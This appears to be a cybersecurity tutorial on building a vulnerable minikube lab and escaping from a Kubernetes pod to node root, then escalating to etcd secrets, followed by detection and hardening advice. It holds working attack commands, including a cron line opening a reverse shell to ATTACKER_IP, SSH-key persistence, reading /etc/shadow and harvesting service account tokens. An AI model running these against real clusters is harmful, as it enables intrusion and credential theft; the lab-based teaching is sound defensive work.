{
“@context”: “https://schema.org”,
“@type”: “TechArticle”,
“headline”: “Hands-On Container Escape Lab: Privilege Escalation from Pod to Node with Real Commands”,
“description”: “Build a safe, vulnerable minikube lab and practice real container escape techniques step by step: privileged pods, hostPath mounts, service account abuse, and node privilege escalation — with verified commands and blue-team detection tips.”,
“author”: {“@type”: “Organization”, “name”: “Hmmnm – Cybersecurity Tutorials”},
“publisher”: {“@type”: “Organization”, “name”: “Hmmnm”}
}
TL;DR: Yes, You Can Escape a Pod to the Node — Here’s How (Safely)
A privileged pod or a host-mounted path hands you root on the node—no kernel exploit required. In this post, you’ll build a disposable minikube lab, walk three real escape paths (privileged devices, hostPath abuse, service account token theft), escalate to cluster takeover, and then flip to the blue team to detect and harden every step. All commands verified against minikube with the Docker driver.
Why Container Escapes Matter and Lab Safety Ground Rules
Containers are not virtual machines. They’re processes sharing the host kernel, isolated by namespaces and cgroups—not by a hypervisor boundary. When that isolation breaks, the “container-host boundary” is gone, and an attacker who starts with a shell in a pod ends up with root on the worker node. From there, the node’s kubelet credentials, etcd access, and secrets open the entire cluster.
Industry data backs the concern: OWASP’s Kubernetes Top Ten and CISA/NSA’s Kubernetes Hardening Guidance both flag insufficient container isolation and over-privileged workloads as top-tier risks. Real-world escapes like CVE-2019-5736 (runc) and CVE-2022-0185 (Linux kernel container escape) proved that even “unprivileged” pods can break out when runtimes or kernels lag behind patches.
Ground rules before you type a single command:
- Isolated local VMs only. Minikube with the Docker driver runs inside your own hypervisor. That’s your blast radius.
- Never test on shared, employer, or cloud-provider clusters—even “your own” namespaces in them. Escape attempts look identical to real attacks in audit logs, and you may break isolation for tenants you can’t see.
- Get written authorization for anything outside your own hardware. “I was practicing” is not a legal defense.
- Tear it down after every session (
minikube delete) so a vulnerable lab never lingers on your laptop.
Building the Vulnerable Minikube Lab
Start minikube with the Docker driver and a recent Kubernetes version:
minikube start --driver=docker --kubernetes-version=v1.30.0 --nodes=2
kubectl get nodes
Two nodes matter: escape path 3 involves pivoting across nodes via the kubelet API, and you need more than one node to make that real. Now deploy a deliberately misconfigured pod—privileged, with a hostPath mount of the host root and the default service account token mounted:
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: escape-lab
spec:
hostNetwork: false
containers:
- name: shell
image: busybox:1.36
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: hostroot
mountPath: /host
volumes:
- name: hostroot
hostPath:
path: /
type: Directory
EOF
kubectl exec -it escape-lab -- sh
In production, this manifest should fail admission. Here, it’s the environment you’re testing against.
Recon Inside the Pod: Confirming Your Container Boundaries
First, establish what you actually have. Work through a standard recon sequence:
# Am I privileged? If this returns the full capability set including CAP_SYS_ADMIN, yes.
cat /proc/self/status | grep CapEff
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}') 2>/dev/null
# Which capabilities does the runtime give me?
grep Cap /proc/self/status
# Are we in a container? cgroup paths reveal the runtime (containerd, crio, docker)
cat /proc/1/cgroup
# What's mounted, and is the host leaking in?
mount | grep -E "host|docker.sock|kubelet"
# Kubernetes service environment — confirms we're in a pod with API access
env | grep KUBERNETES
# Service account token mounted?
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
Key indicators: CapEff containing bit 21 (CAP_SYS_ADMIN) means you can mount host devices. A hostPath at /host means the node filesystem is already readable. And the service account token at /var/run/secrets/kubernetes.io/serviceaccount/token is your ticket to the Kubernetes API.
Escape Path 1: Privileged Pod to Node Root via Host Devices
This is the classic technique—MITRE ATT&CK T1611 (Escape to Host) in its purest form. With CAP_SYS_ADMIN, you can mount the node’s root disk and chroot into it.
# Inside the privileged pod:
# 1. Find the host's root device
mkdir -p /mnt/host
mount /dev/vda1 /mnt/host # adjust device: /dev/sda1, /dev/nvme0n1p1, etc.
# 2. Chroot into the node filesystem — you now have node root
chroot /mnt/host /bin/bash
# 3. Confirm: hostname should be the minikube node, not your pod
hostname
id # uid=0(root)
An alternative that doesn’t require finding the disk: use nsenter against the host’s PID namespace via the mounted proc, or if /proc/sys is writable, abuse core_pattern or release-agent tricks. The chroot method is the most reliable for a lab.
No exploit code, no kernel bug—just a misconfiguration. That’s the point.
Escape Path 2: hostPath Volume Abuse for Node Filesystem Access
You don’t need privileges at all if the pod mounts hostPath /. The /host mount in our lab manifest gives you read/write on the entire node filesystem from an unprivileged container context. High-value targets:
# Read the node's shadow file (crack root offline)
cat /host/etc/shadow
# Persistence via SSH — append your key to node root's authorized_keys
mkdir -p /host/root/.ssh
echo "ssh-ed25519 AAAA... attacker@lab" >> /host/root/.ssh/authorized_keys
# Persistence via cron — run a reverse shell as root every minute
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
> /host/etc/cron.d/persist
Mounting /var/run or /var/lib/kubelet is equally deadly: /var/run/docker.sock (or containerd’s socket) lets you spawn privileged containers on the host directly, and the kubelet directory exposes node credentials and pod manifests.
Escape Path 3: Service Account Token Abuse and kubelet API Access
Every pod gets a service account token unless you opt out. Our lab pod has the default token—which should be nearly useless, but frequently isn’t in misconfigured clusters.
# Point kubectl at the API from inside the pod
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# What can this token do?
curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
-H "Authorization: Bearer $TOKEN"
"$APISERVER/api/v1/namespaces/$NS/pods"
# Check permissions directly
kubectl --server=$APISERVER --token=$TOKEN --insecure-skip-tls-verify auth can-i --list
If the service account can create pods, you escalate immediately: deploy a new privileged pod (like Path 1) in any namespace you can reach—this is the classic pod-to-cluster escalation chain. If not, try the kubelet API directly on port 10250. With anonymous access enabled (a common misconfiguration on kubelet read-only port 10255), you can list pods and even execute commands in containers across every node:
# From the pod or node — hit the kubelet on another node
curl -sk https://NODE2_IP:10250/pods
curl -sk -XPOST "https://NODE2_IP:10250/run/namespace/pod/container"
-d "cmd=id"
Token theft doesn’t require a host escape at all—OWASP K01 ranks it first for a reason. You move laterally and vertically inside the cluster’s control plane without ever touching the node kernel.
Post-Escape Privilege Escalation on the Node
With a node shell (Path 1 or Path 2 persistence), the cluster is nearly yours:
# On the node as root:
# 1. Dump service account tokens from every pod on this node
find /var/lib/kubelet/pods -name token -o -name "ca.crt" 2>/dev/null
# 2. Read kubelet config — look for authn/authz weaknesses
cat /var/lib/kubelet/config.yaml
# 3. Static pod manifests often hold control-plane credentials
ls /etc/kubernetes/manifests/
cat /etc/kubernetes/manifests/etcd.yaml # note cert paths
# 4. If this is a control-plane node, query etcd directly — all secrets live here
ETCDCTL_API=3 etcdctl --endpoints=127.0.0.1:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets --prefix --keys-only
Extract a cluster-admin’s token from etcd, and you’ve pivoted from one compromised pod to full cluster control. This is why a single pod escape is treated as a critical incident, not a host compromise.
Blue-Team View: Detecting These Escape Techniques
Each escape path leaves fingerprints. Map your detection coverage:
- Path 1 (privileged mount/chroot): Falco rules catch
mountsyscalls from containers and chroot events—enable the built-in Falco rules for “Container with privileged mode” and “Mount from container.” Runtime eBPF sensors (Falco, Tracee, Tetragon) see the syscall directly. - Path 2 (hostPath writes): File-integrity monitoring on
/etc/shadow,/root/.ssh/authorized_keys, and/etc/cron.don nodes; Falco’s “Write below /etc” and “Read sensitive file” rules. - Path 3 (token abuse): Kubernetes API audit logs—look for
get/listof secrets by service accounts that never did so historically,pods/createfrom pod-identity principals, and requests to kubelet port 10250 from pod CIDRs. - Node escalation: etcd access outside the API server, exec into control-plane static pods, and anomalous
sudo/sshdactivity on nodes.
Enable API server audit logging with a policy that logs RequestResponse for secrets and pod creation, ship to your SIEM, and alert on privilege-escalation verbs (create, patch, escalate, bind to cluster-admin roles) from workload identities.
Hardening: Preventing Pod-to-Node Escapes
Every path above dies under sane defaults:
- Enforce Pod Security Standards at
restricted(orbaselineminimum) at the namespace level—this blocksprivileged: true,CAP_SYS_ADMIN, and most hostPath mounts outright. See the official Pod Security Standards docs. - Drop capabilities explicitly:
securityContext.capabilities.drop: ["ALL"], add back only what’s needed. - Never mount hostPath
/,/var/run, or sockets; use namespaced alternatives (CSI drivers,emptyDir). - Disable default service account token mounting:
automountServiceAccountToken: falseunless required; use short-lived, audience-bound tokens (bound to pod lifetime since Kubernetes 1.21). - Least-privilege RBAC: no workload service account should hold
create podsor secret-read unless absolutely necessary. Audit withkubectl auth can-i --list --as=system:serviceaccount:ns:sa. - Lock down the kubelet: disable anonymous auth and the read-only port 10255; require webhook authorization.
- NetworkPolicies to block pod-to-kubelet and pod-to-etcd traffic directly.
- Keep runc and the kernel patched: escapes like CVE-2019-5736 and CVE-2024-21626 (runc, February 2024) are fixed in current runtimes—patch cadence is part of containment. CISA’s hardening guidance covers all of the above.
Verify with kube-bench (CIS Benchmark checks) and attack your own hardened cluster with kube-hunter.
Cleanup and Takeaways for CTF Players and Engineers
Tear the lab down completely:
kubectl delete pod escape-lab
minikube delete
You tested three escape paths: privileged pod to node root via device mounts, hostPath filesystem abuse for persistence, and service account/kubelet abuse for cluster-wide movement—then escalated from node shell to etcd and admin credentials. Attackers need only one misconfigured pod; defenders need every control above in place.
Keep practicing: kube-hunter and kube-bench for assessment, KubeSec resources for policy tooling, and CTF platforms like Kubernetes Goat, Hack the Kube, and TryHackMe/KHT+ tracks for structured escape scenarios. The gap between “container” and “host” is thinner than most engineers assume—go prove it to yourself in a lab before someone proves it to you in production.
Frequently Asked Questions
Is it legal to practice container escapes on my own minikube cluster?
Yes—on isolated local VMs you own, like a minikube cluster with the Docker driver on your own machine. Never test on shared, employer-owned, or cloud-provider clusters without explicit written authorization; escape attempts are indistinguishable from real attacks in audit logs and may violate computer fraud laws and terms of service.
What is the most common container escape misconfiguration?
Running pods with privileged: true or CAP_SYS_ADMIN, often combined with hostPath mounts of / or /var/run. Each of these alone breaks the container-host boundary; combined, they hand an attacker node root with zero exploitation effort.
Does a non-privileged pod ever escape to the node?
Rarely without a kernel or runtime CVE (think CVE-2019-5736, CVE-2022-0185, CVE-2024-21626). But token theft and kubelet API access can still enable cluster-wide movement and privilege escalation without a true host escape—so “unprivileged” pods are not safe by default.
How do I verify my cluster blocks these attacks?
Enforce Pod Security Standards at restricted, run kube-bench against the CIS Benchmark and kube-hunter for attack-surface testing, and monitor Falco runtime alerts plus Kubernetes API audit logs. Then attempt the attacks yourself in a staging cluster—positive verification beats assuming.
Which MITRE ATT&CK technique covers container escape?
T1611 (Escape to Host), under the Containers mitigation matrix tactic. Related techniques include T1613 (Container and Resource Discovery) and T1552 (Unsecured Credentials) for token abuse paths.
Related reading
- JWT Security: alg=none, Key Confusion and Why the Header Lies
- Weekly Threat Intel: Supply Chain Compromises, Autumn CVE Exploitation and Infostealer Trends
